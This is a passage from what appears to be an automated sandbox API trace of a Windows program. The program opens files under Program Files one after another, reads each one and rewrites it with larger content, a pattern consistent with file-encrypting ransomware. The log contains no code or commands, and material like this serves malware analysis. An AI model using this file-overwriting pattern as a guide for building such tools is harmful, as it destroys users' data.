lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0047.813] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.813] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x48c [0047.813] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.813] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.813] ReleaseMutex (hMutex=0x128) returned 1 [0047.813] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tirane", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0047.813] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tirane", cchWideChar=6, lpMultiByteStr=0x1e6aa5c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tirane", lpUsedDefaultChar=0x0) returned 6 [0047.813] ReadFile (in: hFile=0x1cc, lpBuffer=0x2742168, nNumberOfBytesToRead=0x48c, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2742168*, lpNumberOfBytesRead=0x354f2bc*=0x48c, lpOverlapped=0x0) returned 1 [0047.849] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.849] WriteFile (in: hFile=0x1cc, lpBuffer=0x2613698*, nNumberOfBytesToWrite=0xa14, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesWritten=0x354f2d0*=0xa14, lpOverlapped=0x0) returned 1 [0047.849] CloseHandle (hObject=0x1cc) returned 1 [0047.849] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\HST" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\hst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0047.850] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.850] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1b [0047.850] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.850] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.850] ReleaseMutex (hMutex=0x128) returned 1 [0047.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HST", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0047.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HST", cchWideChar=3, lpMultiByteStr=0x1e6aa5c, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HST", lpUsedDefaultChar=0x0) returned 3 [0047.850] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e78b78, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78b78*, lpNumberOfBytesRead=0x354f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0047.851] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.851] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x354f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0047.851] CloseHandle (hObject=0x1cc) returned 1 [0047.851] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Mayotte" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\mayotte"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0047.852] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.852] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x41 [0047.852] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.852] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.852] ReleaseMutex (hMutex=0x128) returned 1 [0047.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mayotte", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0047.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mayotte", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mayotte", lpUsedDefaultChar=0x0) returned 7 [0047.852] ReadFile (in: hFile=0x1cc, lpBuffer=0x1eaa9f8, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaa9f8*, lpNumberOfBytesRead=0x354f2bc*=0x41, lpOverlapped=0x0) returned 1 [0047.853] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.853] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x354f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0047.853] CloseHandle (hObject=0x1cc) returned 1 [0047.853] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Efate" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\efate"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0047.854] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.854] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xe9 [0047.854] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.854] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.854] ReleaseMutex (hMutex=0x128) returned 1 [0047.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Efate", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0047.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Efate", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Efate", lpUsedDefaultChar=0x0) returned 5 [0047.854] ReadFile (in: hFile=0x1cc, lpBuffer=0x2737158, nNumberOfBytesToRead=0xe9, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737158*, lpNumberOfBytesRead=0x354f2bc*=0xe9, lpOverlapped=0x0) returned 1 [0047.855] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.855] WriteFile (in: hFile=0x1cc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x671, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x671, lpOverlapped=0x0) returned 1 [0047.855] CloseHandle (hObject=0x1cc) returned 1 [0047.855] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Johnston" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\johnston"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0047.878] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.878] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1b [0047.878] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.878] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.878] ReleaseMutex (hMutex=0x128) returned 1 [0047.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Johnston", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0047.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Johnston", cchWideChar=8, lpMultiByteStr=0x1e6326c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Johnston", lpUsedDefaultChar=0x0) returned 8 [0047.878] ReadFile (in: hFile=0x1c4, lpBuffer=0x1e78bc8, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78bc8*, lpNumberOfBytesRead=0x354f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0047.879] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.879] WriteFile (in: hFile=0x1c4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x354f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0047.879] CloseHandle (hObject=0x1c4) returned 1 [0047.880] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Noumea" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\noumea"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0047.884] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.885] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x79 [0047.885] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.885] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.885] ReleaseMutex (hMutex=0x128) returned 1 [0047.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Noumea", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0047.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Noumea", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Noumea", lpUsedDefaultChar=0x0) returned 6 [0047.885] ReadFile (in: hFile=0x1b0, lpBuffer=0x25d4560, nNumberOfBytesToRead=0x79, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25d4560*, lpNumberOfBytesRead=0x354f2bc*=0x79, lpOverlapped=0x0) returned 1 [0047.886] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.886] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x601, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x601, lpOverlapped=0x0) returned 1 [0047.886] CloseHandle (hObject=0x1b0) returned 1 [0047.886] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Tongatapu" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\tongatapu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0047.895] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.895] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x85 [0047.895] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.895] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.895] ReleaseMutex (hMutex=0x128) returned 1 [0047.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tongatapu", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tongatapu", cchWideChar=9, lpMultiByteStr=0x1e6326c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tongatapu", lpUsedDefaultChar=0x0) returned 9 [0047.895] ReadFile (in: hFile=0x1b0, lpBuffer=0x257def0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257def0*, lpNumberOfBytesRead=0x354f2bc*=0x85, lpOverlapped=0x0) returned 1 [0047.896] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.896] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x60d, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x60d, lpOverlapped=0x0) returned 1 [0047.896] CloseHandle (hObject=0x1b0) returned 1 [0047.896] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\HST10" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\hst10"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0048.545] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0048.547] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1b [0048.550] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0048.550] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.550] ReleaseMutex (hMutex=0x128) returned 1 [0048.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HST10", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0048.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HST10", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HST10", lpUsedDefaultChar=0x0) returned 5 [0048.551] ReadFile (in: hFile=0x184, lpBuffer=0x1e78970, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78970*, lpNumberOfBytesRead=0x354f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0048.555] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0048.555] WriteFile (in: hFile=0x184, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x354f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0048.557] CloseHandle (hObject=0x184) returned 1 [0048.559] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\README.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\readme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0048.564] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0048.564] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x2f [0048.566] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0048.566] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.566] ReleaseMutex (hMutex=0x128) returned 1 [0048.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="README.txt", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0048.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="README.txt", cchWideChar=10, lpMultiByteStr=0x1e6334c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="README.txt", lpUsedDefaultChar=0x0) returned 10 [0048.566] ReadFile (in: hFile=0x184, lpBuffer=0x1e9c768, nNumberOfBytesToRead=0x2f, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e9c768*, lpNumberOfBytesRead=0x354f2bc*=0x2f, lpOverlapped=0x0) returned 1 [0048.570] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0048.570] WriteFile (in: hFile=0x184, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5b7, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x354f2d0*=0x5b7, lpOverlapped=0x0) returned 1 [0048.570] CloseHandle (hObject=0x184) returned 1 [0048.570] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0048.571] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0048.571] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x851c [0048.571] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0048.571] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.571] ReleaseMutex (hMutex=0x128) returned 1 [0048.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sql2000.xsl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sql2000.xsl", cchWideChar=11, lpMultiByteStr=0x1e6338c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sql2000.xsl", lpUsedDefaultChar=0x0) returned 11 [0048.571] ReadFile (in: hFile=0x184, lpBuffer=0x2806d28, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2806d28*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0048.573] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x751c [0048.573] ReadFile (in: hFile=0x184, lpBuffer=0x280edb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x280edb8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.574] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x751c [0048.574] WriteFile (in: hFile=0x184, lpBuffer=0x2808d58*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2808d58*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.574] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0048.574] WriteFile (in: hFile=0x184, lpBuffer=0x2806d28*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2806d28*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0048.574] CloseHandle (hObject=0x184) returned 1 [0048.574] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\coreftp.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\coreftp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0048.574] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\coreftp.exe", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft.NET\\coreftp.exe", lpFilePart=0x354f690*="coreftp.exe") returned 0x30 [0048.574] GetLastError () returned 0x20 [0048.574] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p͔폈H͔퐔H͔L͔ꢸǦ\x01") returned 0x51 [0048.575] LocalFree (hMem=0x70da60) returned 0x0 [0048.575] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0048.575] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0048.575] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0048.575] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0048.575] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\coreftp.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\coreftp.exe")) returned 0x20 [0048.575] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\crashreporter.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, 